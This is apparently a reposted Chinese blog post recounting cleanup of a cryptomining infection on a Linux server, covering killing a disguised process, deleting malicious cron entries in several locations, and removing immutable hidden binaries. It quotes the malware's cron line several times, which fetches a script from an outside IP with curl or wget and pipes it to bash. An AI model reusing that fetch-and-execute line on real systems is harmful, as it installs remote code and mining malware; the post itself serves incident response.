服务器的某个服务挂了,查看进程时发现CPU异常,初步判断是挖矿病毒


# 根据进程IP查看该进程的运行状态
ps -ef | grep 114621
root      114621      1 99 17:48 ?        01:31:05 /usr/sbin/.rsyslogds
kill -9 114621

# 禁用或卸载curl wget
yum remove -y wget
whereis curl 
curl: /usr/bin/curl /usr/share/man/man1/curl.1.gz
mv /usr/bin/curl /usr/bin/curl.bak

# 清理定时任务
# 命令 crontab -l 查看, -e 修改删除
crontab -l
30 23 * * * root (curl -s http://192.210.200.66:1234/xmss||wget -q -O - http://192.210.200.66:1234/xmss )|bash -sh

# /var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
cat crontabs/root 
30 23 * * * (curl -s http://192.210.200.66:1234/xmss||wget -q -O - http://192.210.200.66:1234/xmss )|bash -sh
rm -rf crontabs/root 

# /etc/crontab 这个文件负责调度各种管理和维护任务 这里正常
cat /etc/crontab 
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root

# For details see man 4 crontabs

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

# /etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本

ls /etc/cron.d
0hourly  apache  nginx  root

# 异常的都清理掉
cat apache 
30 23 * * * root (curl -s http://192.210.200.66:1234/xmss||wget -q -O - http://192.210.200.66:1234/xmss )|bash -sh
rm -f apache
rm -f nginx 
rm -f root

# 可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次, 这里依次查看
ls /etc/cron.hourly/
0anacron     oanacroner1
cat /etc/cron.hourly/oanacroner1 
(curl -s http://192.210.200.66:1234/xmss||wget -q -O - http://192.210.200.66:1234/xmss )|bash -sh
rm -f oanacroner1

# 清除文件
ls /usr/sbin/.rsyslogds*
/usr/sbin/.rsyslogds
/usr/sbin/.rsyslogds.sh

rm -rf /usr/sbin/.rsyslogds
rm: 无法删除"/usr/sbin/.rsyslogds": 不允许的操作

# 查看文件属性
lsattr /usr/sbin/.rsyslogds 
----ia---------- /usr/sbin/.rsyslogds
chattr -i /usr/sbin/.rsyslogds
chattr -a /usr/sbin/.rsyslogds
chattr -u /usr/sbin/.rsyslogds
rm -f /usr/sbin/.rsyslogds
rm -f /usr/sbin/.rsyslogds.sh

# 又一个异常进程 .inis 这个是查找并重启病毒的脚本
pgrep -f .inis | xargs kill -9
grep -r "192.210.200.66" -l
/usr/sbin/.inis
rm -f /usr/sbin/.inis


至此就告一段落了,至少top出来没有异常的进程

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/Clera-tea/p/15822047.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!